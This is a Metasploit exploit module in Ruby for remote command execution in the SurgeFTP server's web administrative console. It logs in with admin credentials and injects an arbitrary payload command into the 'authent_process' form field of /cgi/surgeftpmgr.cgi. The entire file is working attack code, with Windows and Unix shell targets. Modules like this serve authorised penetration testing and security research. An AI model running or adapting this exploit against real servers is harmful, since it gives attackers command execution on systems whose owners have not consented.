require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SurgeFTP Remote Command Execution',
      'Description'    => %q{
        This module exploits a flaw in the SurgeFTP server's web-based
        administrative console to execute arbitary commands.
      },
      'Author'  => 
        [
          'Spencer McIntyre',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => ['unix', 'win'],
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'Windows', { 'modifier' => "%s" }, ],
          [ 'Unix', { 'modifier' => "/bin/sh -c \"%s\"" }, ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 06 2012'))
      
    register_options(
      [
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
      ], self.class)

  end

  def exploit
    user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
    command = target['modifier'] % payload.encoded
    print_status("Invoking command")
    
    res = send_request_cgi(
    {
      'uri'     => '/cgi/surgeftpmgr.cgi',
      'method'  => 'POST',
      'headers' =>
        {
        'Authorization' => "Basic #{user_pass}",
        },
      'vars_post' =>
        {
          'global_smtp' => "",
          'global_restart' => "",
          'global_style' => "",
          'global_bind' => "",
          'global_passive_ip' => "",
          'global_passive_match' => "",
          'global_logon_mode' => "",
          'global_log_host' => "",
          'global_login_error' => "",
          'global_adminip' => "",
          'global_total_users' => "",
          'global_con_perip' => "",
          'global_ssl' => "",
          'global_ssl_cipher_list' => "",
          'global_implicit_port' => "",
          'log_level' => "",
          'log_home' => "",
          'global_watcher_program_ul' => "",
          'global_watcher_program_dl' => "",
          'authent_process' => command,
          'authent_cmdopts' => "",
          'authent_number' => "",
          'authent_domain' => "",
          'global_strip_user_domain' => "",
          'global_noclass' => "",
          'global_anon_hammer_over_time' => "",
          'global_anon_hammer_max' => "",
          'global_anon_hammer_block_time' => "",
          'global_port' => "",
          'global_mgr_port' => "",
          'global_mgr_ssl_port' => "",
          'cmd_global_save.x' => "36",
          'cmd_global_save.y' => "8",
        }
    })
    
    if not (res and res.code == 200)
      print_error("Failed to execute command")
    else
      print_status("Done")
    end
  end
end